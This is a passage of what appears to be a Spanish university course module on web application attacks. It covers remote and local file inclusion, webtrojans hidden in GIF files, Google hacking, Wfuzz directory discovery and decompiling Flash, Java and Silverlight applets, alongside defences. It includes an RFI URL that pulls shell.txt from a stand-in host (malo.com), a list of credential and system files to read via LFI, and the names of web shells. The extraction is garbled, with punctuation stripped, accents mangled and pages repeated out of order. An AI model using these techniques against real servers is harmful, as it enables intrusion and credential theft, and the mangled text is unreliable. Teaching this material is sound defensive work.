Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
